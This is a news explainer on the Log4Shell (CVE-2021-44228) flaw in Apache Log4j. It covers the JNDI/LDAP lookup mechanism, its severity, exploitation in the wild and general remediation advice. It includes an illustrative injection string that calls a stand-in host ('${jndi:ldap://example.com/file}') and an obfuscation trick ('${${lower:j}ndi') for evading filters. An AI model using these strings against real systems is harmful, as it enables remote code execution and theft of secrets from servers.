Log4Shell is the name given to a critical zero-day vulnerability that surfaced on Thursday when it was exploited in the wild in remote-code compromises against Minecraft servers. The source of the vulnerability was Log4J, a logging utility used by thousands if not millions of apps, including those used inside just about every enterprise on the planet.
What’s Log4J and what makes Log4Shell such a big deal?
Log4J is an open source Java-based logging tool available from Apache. It has the ability to perform network lookups using the Java Naming and Directory Interface to obtain services from the Lightweight Directory Access Protocol.
The vulnerability takes advantage of Log4j allowing requests to arbitrary LDAP and JNDI servers, and not checking the responses, allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information. Affected services include Amazon AWS, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ and many many others. LunaSec characterized the vulnerability as “a design failure of catastrophic proportions” and Tenable as “the single biggest, most critical vulnerability of the last decade”. The Apache Software Foundation, which Log4j is a project of, gave Log4Shell a CVSS severity rating of 10, the highest available score.
The end result: Log4j will interpret a log message as a URL, go and fetch it, and even execute any executable payload it contains with the full privileges of the main program. Exploits are triggered inside text using the ${} syntax, allowing them to be included in browser user agents or other commonly logged attributes.
Here’s what exploits look like, as illustrated by Juniper Networks researchers:
Behavior
The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker’s server.[20][21] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi. Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.
The vulnerability, tracked as CVE-2021-44228, has a severity rating of 10 out of 10. The zero-day had been exploited at least nine days before it surfaced.
Researchers at Cisco’s Talos security team said they observed exploits beginning December 2.
What has happened since Log4Shell?
Almost immediately, security firm Greynoise detected active scanning attempting to identify vulnerable servers. Researchers report seeing this critical and easy-to-exploit vulnerability being used to install crypto-mining malware, bolster Linux botnets, and exfiltrate configurations, environmental variables, and other potentially sensitive data from vulnerable servers.
What’s the prognosis?
In a best-case scenario, major brokerages, banks, and merchants will invest huge sums in overtime costs to pay large numbers of already overworked IT employees to mop up this mess during the holidays. You don’t want to think about the worst-case scenario, other than to remember the 2017 breach of Equifax and the resulting compromise of 143 million US consumers’ data that followed when that company failed to patch against a similarly devastating vulnerability.
What should I do?
As an end user, there’s not much you can do other than to hound the services you use and ask what they’re doing to keep the data you entrust with them secure. The most useful thing the cloud services can do is to update Log4J. But for large enterprises, it’s often not that simple. Dozens of security companies have published guidance. Advice from Microsoft and Sophos is here and here.
